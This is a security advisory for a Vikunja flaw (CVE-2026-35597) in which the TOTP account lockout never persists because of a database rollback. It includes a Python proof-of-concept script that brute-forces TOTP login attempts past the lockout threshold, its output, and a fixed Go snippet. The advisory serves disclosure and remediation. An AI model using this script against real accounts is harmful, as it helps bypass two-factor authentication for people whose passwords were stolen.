Skip to content

GHSA-fgfv-pv97-6cmj CVE-2026-35597 GO-2026-5362

Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout

High Go
Severity
5.9 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.30%
Chance of exploitation in the next 30 days. Higher than 22.34% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-307 Improper Restriction of Excessive Authentication Attempts
Fix
2.3.0
Upgrade code.vikunja.io/api to this version or later

Description

Summary

The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.

Details

When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:

if err != nil {
    if user2.IsErrInvalidTOTPPasscode(err) {
        user2.HandleFailedTOTPAuth(s, user)
    }
    _ = s.Rollback()
    return err
}

HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.

The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.

Proof of Concept

Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).

import requests, time, pyotp

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

# setup: login, enroll and enable TOTP
token = requests.post(f"{API}/login",
    json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"]
secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"]
totp = pyotp.TOTP(secret)
requests.post(f"{API}/user/settings/totp/enable", headers=h(token),
              json={"passcode": totp.now()})

# send 9 failed attempts (rate limit is 10/min)
for i in range(1, 10):
    r = requests.post(f"{API}/login",
        json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
    print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")

# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)
time.sleep(65)
for i in range(10, 13):
    r = requests.post(f"{API}/login",
        json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
    print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")

# wait for rate limit, try with valid TOTP
time.sleep(65)
r = requests.post(f"{API}/login",
    json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()})
print(f"Valid TOTP login: {r.status_code}")  # 200 - account was never locked

Output:

Attempt 1: 412 code=1017
...
Attempt 9: 412 code=1017
Attempt 10: 412 code=1017
Attempt 11: 412 code=1017
Attempt 12: 412 code=1017
Valid TOTP login: 200

The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.

Impact

An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.

Recommended Fix

Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:

// Use a new session so the lockout persists regardless of caller's rollback
lockoutSession := db.NewSession()
defer lockoutSession.Close()
err = user.SetStatus(lockoutSession, StatusAccountLocked)
if err != nil {
    _ = lockoutSession.Rollback()
    return
}
_ = lockoutSession.Commit()

Found and reported by aisafe.io

Affected versions

Go

PackageVulnerableFixed in
code.vikunja.io/api
< 2.3.0
2.3.0
code.vikunja.io/api
all versions
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.vikunja.io/api Go → 2.3.0

go
go get code.vikunja.io/api@v2.3.0 && go mod tidy

Severity breakdown

CVSS 3.1 5.9

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-307: Improper Restriction of Excessive Authentication Attempts

The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.

How to prevent it
  • Architecture and Design: Common protection mechanisms include: Disconnecting the user after a small number of failed attempts Implementing a timeout Locking out a targeted account Requiring a computational task on the user's part.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [REF-45]

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-m687-p538-r5hp
Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted
Medium Also affects code.vikunja.io/api
GHSA-fmmf-xq98-g327
Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check
Medium Also affects code.vikunja.io/api
GHSA-pjr3-86v4-5p7w
Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)
Medium Also affects code.vikunja.io/api
GHSA-hjx8-qv73-f7cm
Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed
High Also affects code.vikunja.io/api
GHSA-fprf-r6rv-xg99
Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants
Medium Also affects code.vikunja.io/api
GHSA-4hv6-xc92-j86g
Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes
High Also affects code.vikunja.io/api
GHSA-w2ch-4xgr-22ww
Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal
Low Also affects code.vikunja.io/api
GHSA-8wvg-r2j4-3737
Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint
Medium Also affects code.vikunja.io/api
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor